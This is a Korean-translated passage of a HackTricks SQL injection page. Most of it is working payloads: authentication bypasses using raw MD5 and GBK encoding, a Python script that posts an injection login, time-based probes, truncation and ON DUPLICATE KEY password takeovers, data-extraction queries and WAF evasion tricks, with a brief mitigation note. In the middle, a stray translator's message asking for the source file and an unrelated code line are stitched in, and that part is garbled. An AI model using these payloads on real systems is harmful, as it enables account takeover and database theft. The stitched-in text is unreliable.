์ด ์ฟผ๋ฆฌ๋Š” MD5๊ฐ€ authentication checks์—์„œ raw output์„ ์œ„ํ•ด true๋กœ ์‚ฌ์šฉ๋  ๋•Œ ๋ฐœ์ƒํ•˜๋Š” ์ทจ์•ฝ์ ์„ ๋ณด์—ฌ์ฃผ๋ฉฐ, ์‹œ์Šคํ…œ์„ SQL injection์— ์ทจ์•ฝํ•˜๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋“ค์€ ํ•ด์‹œ๋˜์—ˆ์„ ๋•Œ ์˜ˆ์ƒ์น˜ ๋ชปํ•œ SQL ๋ช…๋ น ๋ถ€๋ถ„์„ ์ƒ์„ฑํ•˜๋„๋ก ์ž…๋ ฅ์„ ์กฐ์ž‘ํ•˜์—ฌ ์ด๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ทธ ๊ฒฐ๊ณผ ๋ฌด๋‹จ ์ ‘๊ทผ์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

md5("ffifdyop", true) = 'or'6๏ฟฝ]๏ฟฝ๏ฟฝ!r,๏ฟฝ๏ฟฝb๏ฟฝ
sha1("3fDf ", true) = Q๏ฟฝu'='๏ฟฝ@๏ฟฝ[๏ฟฝt๏ฟฝ- o๏ฟฝ๏ฟฝ_-!

Injected hash authentication Bypass

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

์ถ”์ฒœ ๋ชฉ๋ก:

๋ชฉ๋ก์˜ ๊ฐ ์ค„์„ username์œผ๋กœ ์‚ฌ์šฉํ•˜๊ณ  password๋Š” ํ•ญ์ƒ: Pass1234.
(This payloads are also included in the big list mentioned at the beginning of this section)

GBK Authentication Bypass

๋งŒ์•ฝ โ€™๊ฐ€ escape ์ฒ˜๋ฆฌ๋œ๋‹ค๋ฉด %A8%27์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, โ€˜๊ฐ€ escape ์ฒ˜๋ฆฌ๋˜์—ˆ์„ ๋•Œ ์ƒ์„ฑ๋˜๋Š” ๊ฒƒ์€: 0xA80x5c0x27 (โ•˜โ€™)

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python ์Šคํฌ๋ฆฝํŠธ:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot injection (multicontext)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Modify password of existing object/user

์ด๋ฅผ ์œ„ํ•ด์„œ๋Š” ๋ฌด์–ธ๊ฐ€๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ โ€œmaster objectโ€œ๋กœ ์ด๋ฆ„์ด ์ง€์ •๋œ ์ƒˆ๋กœ์šด object๋ฅผ ์ƒ์„ฑํ•ด ๋ณด์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค(์‚ฌ์šฉ์ž๋ผ๋ฉด ์•„๋งˆ admin์ผ ๊ฐ€๋Šฅ์„ฑ์ด ํฝ๋‹ˆ๋‹ค):

  • Create user named: AdMIn (๋Œ€๋ฌธ์ž ๋ฐ ์†Œ๋ฌธ์ž ํ˜ผํ•ฉ)
  • Create a user named: admin=
  • SQL Truncation Attack (username ๋˜๋Š” email์— **๊ธธ์ด ์ œํ•œ(length limit)**์ด ์žˆ๋Š” ๊ฒฝ์šฐ) โ€“> Create user with name: admin [a lot of spaces] a

SQL Truncation Attack

๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ ์ทจ์•ฝํ•˜๊ณ  username์˜ ์ตœ๋Œ€ ๋ฌธ์ž ์ˆ˜๊ฐ€ ์˜ˆ๋ฅผ ๋“ค์–ด 30์ž์ด๊ณ  ์‚ฌ์šฉ์ž์ธ admin์„ ๊ฐ€์žฅํ•˜๋ ค๋ฉด, โ€œadmin [30 spaces] aโ€œ๋ผ๋Š” ์‚ฌ์šฉ์ž๋ช…์„ ๋งŒ๋“ค๊ณ  ์•„๋ฌด ๋น„๋ฐ€๋ฒˆํ˜ธ๋‚˜ ์„ค์ •ํ•ด ๋ณด์„ธ์š”.

๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” ์ž…๋ ฅ๋œ username์ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋‚ด์— ์กด์žฌํ•˜๋Š”์ง€๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ ์กด์žฌํ•˜์ง€ ์•Š์œผ๋ฉด, ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” username์„ ํ—ˆ์šฉ๋œ ์ตœ๋Œ€ ๊ธธ์ด๋กœ ์ž˜๋ผ๋ƒ…๋‹ˆ๋‹ค(์ด ๊ฒฝ์šฐ โ€œadmin [25 spaces]โ€œ๋กœ) ๊ทธ๋ฆฌ๊ณ  ๋งˆ์ง€๋ง‰์— ์žˆ๋Š” ๋ชจ๋“  ๊ณต๋ฐฑ์„ ์ž๋™์œผ๋กœ ์ œ๊ฑฐํ•˜์—ฌ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋‚ด์˜ ์‚ฌ์šฉ์ž โ€œadminโ€œ์„ ์ƒˆ ๋น„๋ฐ€๋ฒˆํ˜ธ๋กœ ์—…๋ฐ์ดํŠธํ•ฉ๋‹ˆ๋‹ค(์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์ง€๋งŒ ์ด๊ฒƒ์ด ๋™์ž‘ํ•˜์ง€ ์•Š์•˜๋‹ค๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•˜์ง€๋Š” ์•Š์Šต๋‹ˆ๋‹ค).

More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

VALUES ๋ฌธ์„ ๋น ์ ธ๋‚˜์˜ค๊ธฐ ์œ„ํ•ด ํ•„์š”ํ•œ ๋งŒํผ ','',''๋ฅผ ์ถ”๊ฐ€ํ•˜์„ธ์š”. delay๊ฐ€ ์‹คํ–‰๋˜๋ฉด SQLInjection์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

MySQL์˜ ON DUPLICATE KEY UPDATE ์ ˆ์€ UNIQUE index ๋˜๋Š” PRIMARY KEY์— ์ค‘๋ณต ๊ฐ’์ด ๋ฐœ์ƒํ•˜๋Š” ํ–‰์„ ์‚ฝ์ž…ํ•˜๋ ค ํ•  ๋•Œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ ์ทจํ•  ๋™์ž‘์„ ์ง€์ •ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ๋‹ค์Œ ์˜ˆ์‹œ๋Š” ์ด ๊ธฐ๋Šฅ์„ ์ด์šฉํ•ด ๊ด€๋ฆฌ์ž ๊ณ„์ •์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณ€๊ฒฝํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค:

Example Payload Injection:

๋‹ค์Œ๊ณผ ๊ฐ™์ด injection payload๋ฅผ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‘ ํ–‰์„ users ํ…Œ์ด๋ธ”์— ์‚ฝ์ž…ํ•˜๋ ค ์‹œ๋„ํ•˜๋ฉฐ, ์ฒซ ๋ฒˆ์งธ ํ–‰์€ ๋ฏธ๋ผ์ด๊ณ  ๋‘ ๋ฒˆ์งธ ํ–‰์€ ๊ธฐ์กด ๊ด€๋ฆฌ์ž ๊ณ„์ •์˜ ์ด๋ฉ”์ผ์„ ๋Œ€์ƒ์œผ๋กœ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์—…๋ฐ์ดํŠธํ•˜๋ ค๋Š” ๋ชฉ์ ์ž…๋‹ˆ๋‹ค:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Hereโ€™s how it works:

  • ์ด ์ฟผ๋ฆฌ๋Š” ๋‘ ๊ฐœ์˜ ํ–‰์„ ์‚ฝ์ž…ํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค: ํ•˜๋‚˜๋Š” generic_user@example.com์šฉ์ด๊ณ  ๋‹ค๋ฅธ ํ•˜๋‚˜๋Š” admin_generic@example.com์šฉ์ž…๋‹ˆ๋‹ค.
  • admin_generic@example.com์— ๋Œ€ํ•œ ํ–‰์ด ์ด๋ฏธ ์กด์žฌํ•˜๋ฉด, ON DUPLICATE KEY UPDATE ์ ˆ์ด ์‹คํ–‰๋˜์–ด MySQL์— ๊ธฐ์กด ํ–‰์˜ password ํ•„๋“œ๋ฅผ โ€œbcrypt_hash_of_newpasswordโ€œ๋กœ ์—…๋ฐ์ดํŠธํ•˜๋„๋ก ์ง€์‹œํ•ฉ๋‹ˆ๋‹ค.
  • ๊ฒฐ๊ณผ์ ์œผ๋กœ admin_generic@example.com๊ณผ bcrypt ํ•ด์‹œ์™€ ์ผ์น˜ํ•˜๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ธ์ฆ์„ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (โ€œbcrypt_hash_of_newpasswordโ€œ๋Š” ์ƒˆ ๋น„๋ฐ€๋ฒˆํ˜ธ์˜ bcrypt ํ•ด์‹œ๋ฅผ ๋‚˜ํƒ€๋‚ด๋ฉฐ, ์›ํ•˜๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ์˜ ์‹ค์ œ ํ•ด์‹œ๋กœ ๊ต์ฒดํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค).

์ •๋ณด ์ถ”์ถœ

๋™์‹œ์— 2๊ฐœ์˜ ๊ณ„์ • ์ƒ์„ฑํ•˜๊ธฐ

์ƒˆ ์‚ฌ์šฉ์ž ์ƒ์„ฑ ์‹œ username, password, email์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

์‹ญ์ง„์ˆ˜ ๋˜๋Š” 16์ง„์ˆ˜ ์‚ฌ์šฉ

์ด ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ•˜๋ฉด ๊ณ„์ • 1๊ฐœ๋งŒ ์ƒ์„ฑํ•ด๋„ ์ •๋ณด๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ค‘์š”ํ•œ ์ ์€ ์•„๋ฌด ๊ฒƒ๋„ ์ฃผ์„ ์ฒ˜๋ฆฌํ•  ํ•„์š”๊ฐ€ ์—†๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๋‹ค์Œ์€ hex2dec์™€ substr ์‚ฌ์šฉ:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

์›๋ฌธ ํŒŒ์ผ ๋‚ด์šฉ์„ ์ œ๊ณตํ•ด ์ฃผ์„ธ์š”. ๋กœ์ปฌ์—์„œ ํŒŒ์ผ์„ ๊ฐ€์ ธ์˜ค๋ ค๋ฉด ์•„๋ž˜ ๋ช…๋ น์–ด ์ค‘ ํ•˜๋‚˜๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”:

cat src/pentesting-web/sql-injection/README.md
sed -n '1,200p' src/pentesting-web/sql-injection/README.md
less src/pentesting-web/sql-injection/README.md
bat --paging=never src/pentesting-web/sql-injection/README.md
git show HEAD:src/pentesting-web/sql-injection/README.md
gh repo clone <repo> && cat src/pentesting-web/sql-injection/README.md

ํŒŒ์ผ์ด ๋„ˆ๋ฌด ํฌ๋ฉด ๋ฒˆ์—ญํ•  ์„น์…˜(ํ—ค๋” ํฌํ•จ)๋งŒ ๋ถ™์—ฌ๋„ฃ์–ด ์ฃผ์„ธ์š”. ๋ถ™์—ฌ์ฃผ์‹œ๋ฉด ํ•œ๊ตญ์–ด๋กœ ๋ฒˆ์—ญํ•ด ๋“œ๋ฆฝ๋‹ˆ๋‹ค.

__import__('binascii').unhexlify(hex(215573607263)[2:])

hex์™€ replace (๋ฐ substr) ์‚ฌ์šฉ:

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection์€ injectable query๊ฐ€ ์ง์ ‘ ๊ฒฐ๊ณผ๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋Š” ์ฟผ๋ฆฌ๊ฐ€ ์•„๋‹ˆ๋ผ, injectable query์˜ ์ถœ๋ ฅ์ด ๊ฒฐ๊ณผ๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋Š” ๋‹ค๋ฅธ ์ฟผ๋ฆฌ๋กœ ์ „๋‹ฌ๋˜๋Š” ์ƒํ™ฉ์„ ๋งํ•œ๋‹ค. (From Paper)

์˜ˆ์‹œ:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Initial bypasses from here

No spaces bypass

No Space (%20) - ๊ณต๋ฐฑ ๋Œ€์ฒด๋ฅผ ์ด์šฉํ•œ ์šฐํšŒ

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - ์ฃผ์„์„ ์‚ฌ์šฉํ•œ ์šฐํšŒ

?id=1/*comment*/and/**/1=1/**/--

๊ณต๋ฐฑ ์—†์Œ - ๊ด„ํ˜ธ๋ฅผ ์‚ฌ์šฉํ•œ ์šฐํšŒ

?id=(1)and(1)=(1)--

์ฝค๋งˆ ์—†์Œ bypass

No Comma - bypass: OFFSET, FROM ๋ฐ JOIN ์‚ฌ์šฉ

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

์ผ๋ฐ˜์ ์ธ Bypasses

Blacklist๋Š” keywords๋ฅผ ์‚ฌ์šฉํ•จ โ€” bypass๋Š” uppercase/lowercase๋กœ ์šฐํšŒ

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

ํ‚ค์›Œ๋“œ๋ฅผ ๋Œ€์†Œ๋ฌธ์ž ๊ตฌ๋ถ„ ์—†์ด ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ์ฒ˜๋ฆฌ โ€” ๋™๋“ฑ ์—ฐ์‚ฐ์ž ์‚ฌ์šฉ์œผ๋กœ ์šฐํšŒ

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Scientific Notation WAF bypass

์ด ํŠธ๋ฆญ์— ๋Œ€ํ•œ ๋ณด๋‹ค ์ž์„ธํ•œ ์„ค๋ช…์€ gosecure blog.
๊ธฐ๋ณธ์ ์œผ๋กœ ์ง€์ˆ˜ ํ‘œ๊ธฐ๋ฒ•์„ ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๋ฐฉ์‹์œผ๋กœ ์‚ฌ์šฉํ•˜์—ฌ WAF๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

์ปฌ๋Ÿผ ์ด๋ฆ„ ์ œํ•œ ์šฐํšŒ

๋จผ์ €, ์›๋ž˜ ์ฟผ๋ฆฌ์™€ flag๋ฅผ ์ถ”์ถœํ•˜๋ ค๋Š” ํ…Œ์ด๋ธ”์˜ ์ปฌ๋Ÿผ ์ˆ˜๊ฐ€ ๋™์ผํ•˜๋‹ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜๋ผ: 0 UNION SELECT * FROM flag

์ด๋ฆ„์„ ์‚ฌ์šฉํ•˜์ง€ ์•Š๊ณ  ํ…Œ์ด๋ธ”์˜ ์„ธ ๋ฒˆ์งธ ์ปฌ๋Ÿผ์— ์ ‘๊ทผํ•˜๋Š” ๊ฒƒ์ด ๋‹ค์Œ ์ฟผ๋ฆฌ์ฒ˜๋Ÿผ ๊ฐ€๋Šฅํ•˜๋‹ค: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, ๋”ฐ๋ผ์„œ sqlinjection์—์„œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ณด์ผ ๊ฒƒ์ด๋‹ค:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

๋˜๋Š” comma bypass๋ฅผ ์‚ฌ์šฉ:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

์ด ํŠธ๋ฆญ์€ https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/์—์„œ ๊ฐ€์ ธ์™”์Šต๋‹ˆ๋‹ค

Column/tablename injection in SELECT list via subqueries

์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด SELECT ๋ชฉ๋ก์ด๋‚˜ ํ…Œ์ด๋ธ”/์ปฌ๋Ÿผ ์‹๋ณ„์ž์— ๊ทธ๋Œ€๋กœ ์—ฐ๊ฒฐ(concatenate)๋œ๋‹ค๋ฉด, prepared statements๋Š” ๋„์›€์ด ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. bind parameters๋Š” ์‹๋ณ„์ž๊ฐ€ ์•„๋‹ˆ๋ผ ๊ฐ’๋งŒ ๋ณดํ˜ธํ•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ํ”ํžˆ ์ทจ์•ฝํ•œ ํŒจํ„ด์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);

์•…์šฉ ์•„์ด๋””์–ด: ํ•„๋“œ ์œ„์น˜(field position)์— subquery๋ฅผ ์ฃผ์ž…(inject)ํ•˜์—ฌ ์ž„์˜์˜ ๋ฐ์ดํ„ฐ๋ฅผ exfiltrateํ•ฉ๋‹ˆ๋‹ค:

-- Legit
SELECT user_name FROM vte_users WHERE id=1;

-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;

์ฐธ๊ณ :

  • ์ด๊ฒƒ์€ WHERE clause๊ฐ€ bound parameter๋ฅผ ์‚ฌ์šฉํ•  ๋•Œ์—๋„ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ์™œ๋ƒํ•˜๋ฉด identifier list๋Š” ์—ฌ์ „ํžˆ string-concatenated ๋˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.
  • ์ผ๋ถ€ ์Šคํƒ์€ ์ถ”๊ฐ€๋กœ table name์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ—ˆ์šฉํ•˜์—ฌ (tablename injection), cross-table reads๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  • Output sinks๋Š” ์„ ํƒ๋œ ๊ฐ’์„ HTML/JSON์œผ๋กœ ๋ฐ˜์˜ํ•  ์ˆ˜ ์žˆ์–ด ์‘๋‹ต์—์„œ ์ง์ ‘ XSS ๋˜๋Š” token exfiltration์„ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์™„ํ™”:

  • ์‚ฌ์šฉ์ž ์ž…๋ ฅ์œผ๋กœ๋ถ€ํ„ฐ identifiers๋ฅผ ์ ˆ๋Œ€ concatenateํ•˜์ง€ ๋งˆ์„ธ์š”. ํ—ˆ์šฉ๋œ column names๋ฅผ ๊ณ ์ •๋œ allow-list์— ๋งคํ•‘ํ•˜๊ณ  identifiers๋ฅผ ์ ์ ˆํžˆ quoteํ•˜์„ธ์š”.
  • dynamic table access๊ฐ€ ํ•„์š”ํ•  ๊ฒฝ์šฐ, ์œ ํ•œํ•œ ์ง‘ํ•ฉ์œผ๋กœ ์ œํ•œํ•˜๊ณ  server-side์—์„œ ์•ˆ์ „ํ•œ ๋งคํ•‘์œผ๋กœ ํ•ด๊ฒฐํ•˜์„ธ์š”.

WAF ์šฐํšŒ ์ œ์•ˆ ๋„๊ตฌ

GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester

๊ธฐํƒ€ ๊ฐ€์ด๋“œ

Brute-Force ํƒ์ง€ ๋ชฉ๋ก

Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ